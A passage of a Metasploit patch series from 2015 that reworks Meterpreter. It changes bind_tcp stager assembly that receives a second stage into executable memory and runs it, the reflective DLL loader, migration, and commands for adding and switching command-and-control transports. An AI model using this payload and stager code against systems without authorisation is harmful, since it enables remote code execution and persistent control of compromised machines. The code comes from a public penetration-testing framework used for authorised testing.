0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) - call ebp ; closesocket( s ); - ^ - end asm << %Q^ recv: @@ -218,23 +211,7 @@ module Payload::Windows::BindTcp call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... xchg ebx, eax ; ebx = our new memory address for the new stage - ^ - unless close_socket - asm << %Q^ - pop eax ; listen socket needs to be saved - ^ - end - asm << %Q^ push ebx ; push the address of the new stage so we can return into it - ^ - - unless close_socket - asm << %Q^ - push eax ; and push the listen socket up again - ^ - end - - asm << %Q^ read_more: ; push 0 ; flags push esi ; length @@ -256,13 +233,6 @@ module Payload::Windows::BindTcp add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read - ^ - unless close_socket - asm << %Q^ - pop esi ; put the listen socket in esi - ^ - end - asm << %Q^ ret ; return into the second stage ^ diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 1716edcb3a..bce265ab8c 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -53,7 +53,6 @@ module Payload::Windows::MeterpreterLoader ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} mov [ebx], edi ; write the current socket to the config - mov [ebx+4], esi ; write the current listen socket to the config push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index db02fddd3e..1aed1ee3cf 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -28,17 +28,15 @@ module Payload::Windows::BindTcp_x64 def generate # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - return generate_bind_tcp( - port: datastore['LPORT'], - close_socket: close_listen_socket - ) + return generate_bind_tcp({ + :port => datastore['LPORT'] + }) end conf = { - port: datastore['LPORT'], - exitfunk: datastore['EXITFUNC'], - close_socket: close_listen_socket, - reliable: true + :port => datastore['LPORT'], + :exitfunk => datastore['EXITFUNC'], + :reliable => true } generate_bind_tcp(conf) @@ -104,7 +102,6 @@ module Payload::Windows::BindTcp_x64 # def asm_bind_tcp(opts={}) reliable = opts[:reliable] - close_socket = opts[:close_socket] encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first asm = %Q^ @@ -160,24 +157,11 @@ module Payload::Windows::BindTcp_x64 mov rcx, rdi ; listening socket mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) call rbp ; accept( s, 0, 0 ); - ^ - - if close_socket - asm << %Q^ ; perform the call to closesocket... mov rcx, rdi ; the listening socket to close mov rdi, rax ; swap the new connected socket over the listening socket mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) call rbp ; closesocket( s ); - ^ - else - asm << %Q^ - mov r14, rdi ; stash the listen socket for later. - mov rdi, rax ; swap the new connected socket over the listening socket - ^ - end - - asm << %Q^ ; restore RSP so we dont have any alignment issues with the next block... add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations @@ -216,15 +200,6 @@ module Payload::Windows::BindTcp_x64 sub rsi, rax ; length -= bytes_received test rsi, rsi ; test length jnz read_more ; continue if we have more to read - ^ - - unless close_socket - asm << %Q^ - mov rsi, r14 ; restore the listen socket - ^ - end - - asm << %Q^ jmp r15 ; return into the second stage ^ diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb index 3be7778ec0..75a35bf7b1 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -52,8 +52,7 @@ module Payload::Windows::MeterpreterLoader_x64 ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config) ; offset from ReflectiveLoader() to the end of the DLL add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} - mov [rbx], rdi ; store the comms socket handle - mov [rbx+8], rsi ; store the listen socket handle + mov dword ptr [rbx], edi ; store the comms socket handle mov r8, rbx ; r8 points to the extension list mov rbx, rax ; save DllMain for another call push 4 ; push up 4, indicate that we have attached @@ -85,7 +84,7 @@ module Payload::Windows::MeterpreterLoader_x64 # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - return dll + dll end end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 0ada7fd258..7bb114f757 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -40,17 +40,12 @@ private session_data = [ 0, # comms socket, patched in by the stager - 0, # listen socket, patched in by the stager exit_func, # exit function identifer opts[:expiration], # Session expiry uuid, # the URL to use ] - if is_x86? - session_data.pack("VVVVA*") - else - session_data.pack("QQVVA*") - end + session_data.pack("VVVA*") end def transport_block(opts) From f711e5dee7c5e87d1ec4b7d40dfbb55412bb09ef Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 28 Apr 2015 17:41:43 +1000 Subject: [PATCH 13/42] Update migration support Migration now uses the new meterpreter loader. Migration configuration is loaded and created by meterpreter on the fly, and supports the multiple transport stuff that's just been wired in. --- lib/msf/core/payload/windows.rb | 2 + .../payload/windows/meterpreter_loader.rb | 3 +- .../payload/windows/x64/meterpreter_loader.rb | 8 ++-- lib/rex/payloads/meterpreter/config.rb | 2 +- lib/rex/post/meterpreter/client_core.rb | 45 ++----------------- 5 files changed, 11 insertions(+), 49 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index a477dc32c3..84d380e16a 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -24,6 +24,8 @@ module Msf::Payload::Windows require 'msf/core/payload/windows/dllinject' require 'msf/core/payload/windows/exec' require 'msf/core/payload/windows/loadlibrary' + require 'msf/core/payload/windows/meterpreter_loader' + require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/core/payload/windows/reflectivedllinject' require 'msf/core/payload/windows/x64/reflectivedllinject' diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index bce265ab8c..bbc2d5cc53 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -56,8 +56,7 @@ module Payload::Windows::MeterpreterLoader push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance - mov ebx, eax ; save DllMain for another call - call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ^ end diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb index 75a35bf7b1..0abde77859 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -49,15 +49,15 @@ module Payload::Windows::MeterpreterLoader_x64 ; add the offset to ReflectiveLoader() add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)} call rbx ; invoke ReflectiveLoader() - ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config) + ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} - mov dword ptr [rbx], edi ; store the comms socket handle + ; store the comms socket handle + mov dword ptr [rbx], edi mov r8, rbx ; r8 points to the extension list - mov rbx, rax ; save DllMain for another call push 4 ; push up 4, indicate that we have attached pop rdx ; pop 4 into rdx - call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config) + call rax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ^ end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 7bb114f757..a7c537e9ff 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -52,7 +52,7 @@ private # Build the URL from the given parameters, and pad it out to the # correct size lhost = opts[:lhost] - if lhost && Rex::Socket.is_ipv6?(lhost) + if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost) lhost = "[#{lhost}]" end diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 96d98f6398..6a02e69591 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -621,11 +621,9 @@ class ClientCore < Extension # Include the appropriate reflective dll injection module for the target process architecture... if process['arch'] == ARCH_X86 - c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) - binary_suffix = "x86.dll" + c.include( ::Msf::Payload::Windows::MeterpreterLoader ) elsif process['arch'] == ARCH_X86_64 - c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) - binary_suffix = "x64.dll" + c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 ) else raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller end @@ -633,38 +631,7 @@ class ClientCore < Extension # Create the migrate stager migrate_stager = c.new() - dll = MeterpreterBinaries.path('metsrv',binary_suffix) - if dll.nil? - raise RuntimeError, "metsrv.#{binary_suffix} not found", caller - end - migrate_stager.datastore['DLL'] = dll - - blob = migrate_stager.stage_payload - - if client.passive_service - # Patch options into metsrv for reverse HTTP payloads. - Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob, - :ssl => client.ssl, - :url => self.client.url, - :expiration => self.client.expiration, - :comm_timeout => self.client.comm_timeout, - :retry_total => self.client.retry_total, - :retry_wait => self.client.retry_wait, - :ua => client.exploit_datastore['MeterpreterUserAgent'], - :proxy_host => client.exploit_datastore['PayloadProxyHost'], - :proxy_port => client.exploit_datastore['PayloadProxyPort'], - :proxy_type => client.exploit_datastore['PayloadProxyType'], - :proxy_user => client.exploit_datastore['PayloadProxyUser'], - :proxy_pass => client.exploit_datastore['PayloadProxyPass']) - # This should be done by the reflective loader payloads - #else - # # Just patch the timeouts, which are consistent on each of the payloads. - # Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob, - # :expiration => self.client.expiration, - # :comm_timeout => self.client.comm_timeout, - # :retry_total => self.client.retry_total, - # :retry_wait => self.client.retry_wait) - end + blob = migrate_stager.stage_meterpreter blob end @@ -675,12 +642,6 @@ class ClientCore < Extension f.read(f.stat.size) } - Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob, - :expiration => self.client.expiration, - :comm_timeout => self.client.comm_timeout, - :retry_total => self.client.retry_total, - :retry_wait => self.client.retry_wait) - blob end From 4f9c8d04a2ffd3ce134c5054dea57b55e599baf3 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 28 Apr 2015 20:24:44 +1000 Subject: [PATCH 14/42] Add support for moving transports and uuid fetching The 'next' and 'prev' commands were added so that the session can jump transports without having to add new ones at the same time. There's also a command which gives the UUID now so that this can be reused across sessions. --- lib/msf/base/sessions/meterpreter.rb | 8 +- lib/msf/base/sessions/meterpreter_options.rb | 12 -- lib/msf/core/session.rb | 4 + lib/rex/post/meterpreter/client_core.rb | 175 +++++++++++------- lib/rex/post/meterpreter/packet.rb | 2 + .../ui/console/command_dispatcher/core.rb | 70 +++++-- 6 files changed, 175 insertions(+), 96 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 64e4bad848..ea3a9a51ef 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -307,8 +307,12 @@ class Meterpreter < Rex::Post::Meterpreter::Client begin ::Timeout.timeout(60) do # Gather username/system information - username = self.sys.config.getuid - sysinfo = self.sys.config.sysinfo + username = self.sys.config.getuid + sysinfo = self.sys.config.sysinfo + + # TODO: use one of these to determine of the end shell is dead? + self.payload_uuid = self.core.uuid + self.machinie_id = self.core.machine_id safe_info = "#{username} @ #{sysinfo['Computer']}" safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding) diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 3344570782..b140dcdef8 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -47,18 +47,6 @@ module MeterpreterOptions session.load_session_info end -=begin - admin = false - begin - ::Timeout.timeout(30) do - if session.railgun and session.railgun.shell32.IsUserAnAdmin()["return"] == true - admin = true - session.info += " (ADMIN)" - end - end - rescue ::Exception - end -=end if session.platform =~ /win32|win64/i session.load_priv rescue nil end diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 29929aee2c..3cd27795f4 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -377,6 +377,10 @@ module Session # attr_accessor :info # + # The identifier for the machine of the current session + # + attr_accessor :machine_id + # # The unique identifier of this session # attr_accessor :uuid diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 6a02e69591..38c9d59722 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -273,6 +273,16 @@ class ClientCore < Extension return true end + def uuid + request = Packet.create_request('core_uuid') + + response = client.send_request(request) + + id = response.get_tlv_value(TLV_TYPE_UUID) + + return id + end + def machine_id request = Packet.create_request('core_machine_id') @@ -283,83 +293,34 @@ class ClientCore < Extension return Rex::Text.md5(id) end + def transport_add(opts={}) + request = transport_prepare_request('core_transport_add', opts) + + return false unless request + + client.send_request(request) + + return true + end + def transport_change(opts={}) + request = transport_prepare_request('core_transport_change', opts) - unless valid_transport?(opts[:transport]) && opts[:lport] - return false - end + return false unless request - if opts[:transport].starts_with?('reverse') - return false unless opts[:lhost] - else - # Bind shouldn't have lhost set - opts[:lhost] = nil - end + client.send_request(request) - transport = VALID_TRANSPORTS[opts[:transport]] + return true + end - request = Packet.create_request('core_transport_change') - - scheme = opts[:transport].split('_')[1] - url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" - - if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) - end - - if opts[:session_exp] - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) - end - - if opts[:retry_total] - request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) - end - - if opts[:retry_wait] - request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) - end - - # do more magic work for http(s) payloads - unless opts[:transport].ends_with?('tcp') - sum = uri_checksum_lookup(:connect) - uuid = client.payload_uuid - unless uuid - arch, plat = client.platform.split('/') - uuid = Msf::Payload::UUID.new({ - arch: arch, - platform: plat.starts_with?('win') ? 'windows' : plat - }) - end - url << generate_uri_uuid(sum, uuid) + '/' - - # TODO: randomise if not specified? - opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' - request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) - - if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert] - hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert]) - request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) - end - - if opts[:proxy_host] && opts[:proxy_port] - prefix = 'http://' - prefix = 'socks=' if opts[:proxy_type] == 'socks' - proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - request.add_tlv(TLV_TYPE_TRANS_PROXY_INFO, proxy) - - if opts[:proxy_user] - request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user]) - end - if opts[:proxy_pass] - request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass]) - end - end - - end - - request.add_tlv(TLV_TYPE_TRANS_TYPE, transport) - request.add_tlv(TLV_TYPE_TRANS_URL, url) + def transport_next + request = Packet.create_request('core_transport_next') + client.send_request(request) + return true + end + def transport_prev + request = Packet.create_request('core_transport_prev') client.send_request(request) return true end @@ -602,6 +563,78 @@ class ClientCore < Extension private + def transport_prepare_request(method, opts={}) + unless valid_transport?(opts[:transport]) && opts[:lport] + return nil + end + + if opts[:transport].starts_with?('reverse') + return false unless opts[:lhost] + else + # Bind shouldn't have lhost set + opts[:lhost] = nil + end + + transport = VALID_TRANSPORTS[opts[:transport]] + + request = Packet.create_request(method) + + scheme = opts[:transport].split('_')[1] + url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" + + if opts[:comm_timeout] + request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + end + + if opts[:session_exp] + request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + end + + if opts[:retry_total] + request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + end + + if opts[:retry_wait] + request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + end + + # do more magic work for http(s) payloads + unless opts[:transport].ends_with?('tcp') + sum = uri_checksum_lookup(:connect) + url << generate_uri_uuid(sum, uuid) + '/' + + # TODO: randomise if not specified? + opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' + request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) + + if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert] + hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert]) + request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) + end + + if opts[:proxy_host] && opts[:proxy_port] + prefix = 'http://' + prefix = 'socks=' if opts[:proxy_type] == 'socks' + proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + request.add_tlv(TLV_TYPE_TRANS_PROXY_INFO, proxy) + + if opts[:proxy_user] + request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user]) + end + if opts[:proxy_pass] + request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass]) + end + end + + end + + request.add_tlv(TLV_TYPE_TRANS_TYPE, transport) + request.add_tlv(TLV_TYPE_TRANS_URL, url) + + return request + end + + def generate_payload_stub(process) case client.platform when /win/i diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 01f432c3bf..7b9b82284b 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -101,6 +101,7 @@ TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 +TLV_TYPE_UUID = TLV_META_TYPE_STRING | 461 TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 @@ -205,6 +206,7 @@ class Tlv when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL" when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT" when TLV_TYPE_MACHINE_ID; "MACHINE-ID" + when TLV_TYPE_UUID; "UUID" #when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface' #when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address' diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 62027c6748..07fd5fd861 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -50,6 +50,7 @@ class Console::CommandDispatcher::Core "use" => "Deprecated alias for 'load'", "load" => "Load one or more meterpreter extensions", "machine_id" => "Get the MSF ID of the machine attached to the session", + "uuid" => "Get the UUID for the current session", "quit" => "Terminate the meterpreter session", "resource" => "Run the commands stored in a file", "read" => "Reads data from a channel", @@ -392,7 +393,16 @@ class Console::CommandDispatcher::Core # Get the machine ID of the target # def cmd_machine_id(*args) - print_good("Machine ID: #{client.core.machine_id}") + client.machine_id = client.core.machine_id unless client.machine_id + print_good("Machine ID: #{client.machine_id}") + end + + # + # Get the machine ID of the target + # + def cmd_uuid(*args) + client.payload_uuid = client.core.uuid unless client.payload_uuid + print_good("UUID: #{client.payload_uuid}") end # @@ -497,17 +507,20 @@ class Console::CommandDispatcher::Core '-h' => [ false, 'Help menu' ]) # - # Display help for transport switching + # Display help for transport management. # def cmd_transport_help - print_line('Usage: transport [options]') + print_line('Usage: transport [options]') print_line - print_line('Change the current Meterpreter transport mechanism') + print_line(' add: add a new transport to the transport list.') + print_line(' change: same as add, but changes directly to the added entry.') + print_line(' next: jump to the next transport in the list (no options).') + print_line(' prev: jump to the previous transport in the list (no options).') print_line(@@transport_opts.usage) end # - # Change the current transport setings. + # Manage transports # def cmd_transport(*args) if ( args.length == 0 or args.include?("-h") ) @@ -515,6 +528,12 @@ class Console::CommandDispatcher::Core return end + command = args.shift + unless ['add', 'change', 'prev', 'next'].include?(command) + cmd_transport_help + return + end + opts = { :transport => nil, :lhost => nil, @@ -569,12 +588,41 @@ class Console::CommandDispatcher::Core end end - print_status("Swapping transport ...") - if client.core.transport_change(opts) - client.shutdown_passive_dispatcher - shell.stop - else - print_error("Failed to switch transport, please check the parameters") + case command + when 'next' + print_status("Changing to next transport ...") + if client.core.transport_next + print_good("Successfully changed to the next transport, killing current session.") + client.shutdown_passive_dispatcher + shell.stop + else + print_error("Failed to change transport, please check the parameters") + end + when 'prev' + print_status("Changing to previous transport ...") + if client.core.transport_prev + print_good("Successfully changed to the previous transport, killing current session.") + client.shutdown_passive_dispatcher + shell.stop + else + print_error("Failed to change transport, please check the parameters") + end + when 'change' + print_status("Changing to new transport ...") + if client.core.transport_change(opts) + print_good("Successfully added #{opts[:transport]} transport, killing current session.") + client.shutdown_passive_dispatcher + shell.stop + else + print_error("Failed to change transport, please check the parameters") + end + when 'add' + print_status("Adding new transport ...") + if client.core.transport_add(opts) + print_good("Successfully added #{opts[:transport]} transport.") + else + print_error("Failed to add transport, please check the parameters") + end end end From 919b96e4cf7605779fdd8cdcd1f75e96f58067b3 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 28 Apr 2015 21:59:19 +1000 Subject: [PATCH 15/42] Fix up UUID handling --- lib/rex/payloads/meterpreter/config.rb | 4 ++-- lib/rex/post/meterpreter/client_core.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index a7c537e9ff..740b5db6c7 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -35,14 +35,14 @@ private end def session_block(opts) - uuid = to_wchar_t(opts[:uuid], UUID_SIZE) + uuid = to_wchar_t(opts[:uuid].to_raw, UUID_SIZE) exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] session_data = [ 0, # comms socket, patched in by the stager exit_func, # exit function identifer opts[:expiration], # Session expiry - uuid, # the URL to use + uuid # the UUID ] session_data.pack("VVVA*") diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 38c9d59722..686bd0600f 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -280,7 +280,7 @@ class ClientCore < Extension id = response.get_tlv_value(TLV_TYPE_UUID) - return id + return Msf::Payload::UUID.new({:raw => id}) end def machine_id From 8ddd7a4891c048e7f4baa2cdc63c72e7246934b3 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 30 Apr 2015 22:39:48 +1000 Subject: [PATCH 16/42] Fix session removal code, prevent missing transport param fail --- lib/rex/post/meterpreter/client_core.rb | 6 +++++- lib/rex/post/meterpreter/packet_dispatcher.rb | 4 +++- .../post/meterpreter/ui/console/command_dispatcher/core.rb | 4 ---- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 686bd0600f..cf1a14363b 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -558,7 +558,11 @@ class ClientCore < Extension # Indicates if the given transport is a valid transport option. # def valid_transport?(transport) - VALID_TRANSPORTS.has_key?(transport.downcase) + if transport + VALID_TRANSPORTS.has_key?(transport.downcase) + else + false + end end private diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index c2ac0e787c..1f6a10f3aa 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -79,7 +79,9 @@ module PacketDispatcher def shutdown_passive_dispatcher return if not self.passive_service - self.passive_service.remove_resource(self.conn_id + "/") + resource = self.conn_id + resource += "/" unless resource.end_with?("/") + self.passive_service.remove_resource(resource) # If there are no more resources registered on the service, stop it entirely if self.passive_service.resources.empty? diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 07fd5fd861..4b58759695 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -281,10 +281,6 @@ class Console::CommandDispatcher::Core # Disconnects the session # def cmd_detach(*args) - if not client.passive_service - print_error("Detach is only possible for non-stream sessions (http/https)") - return - end client.shutdown_passive_dispatcher shell.stop end From 451484cb0dcb3dd2603646b8fd51837468146957 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 4 May 2015 11:19:53 +1000 Subject: [PATCH 17/42] Add support for transport listing Includes a verbose flag for the extra HTTP/S properties --- lib/rex/post/meterpreter/client_core.rb | 28 +++++++- lib/rex/post/meterpreter/packet.rb | 5 +- .../ui/console/command_dispatcher/core.rb | 72 +++++++++++++++++-- 3 files changed, 95 insertions(+), 10 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index cf1a14363b..1c5e09e971 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -100,6 +100,32 @@ class ClientCore < Extension commands end + def transport_list + request = Packet.create_request('core_transport_list') + response = client.send_request(request) + + result = { + :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), + :transports => [] + } + + response.each(TLV_TYPE_TRANS_GROUP) { |t| + result[:transports] << { + :url => t.get_tlv_value(TLV_TYPE_TRANS_URL), + :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), + :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), + :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT), + :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), + :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), + :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), + :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), + :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH) + } + } + + result + end + def set_transport_timeouts(opts={}) request = Packet.create_request('core_transport_set_timeouts') @@ -620,7 +646,7 @@ class ClientCore < Extension prefix = 'http://' prefix = 'socks=' if opts[:proxy_type] == 'socks' proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - request.add_tlv(TLV_TYPE_TRANS_PROXY_INFO, proxy) + request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy) if opts[:proxy_user] request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user]) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 7b9b82284b..f3d9b9b98a 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -94,11 +94,12 @@ TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436 +TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 +TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = 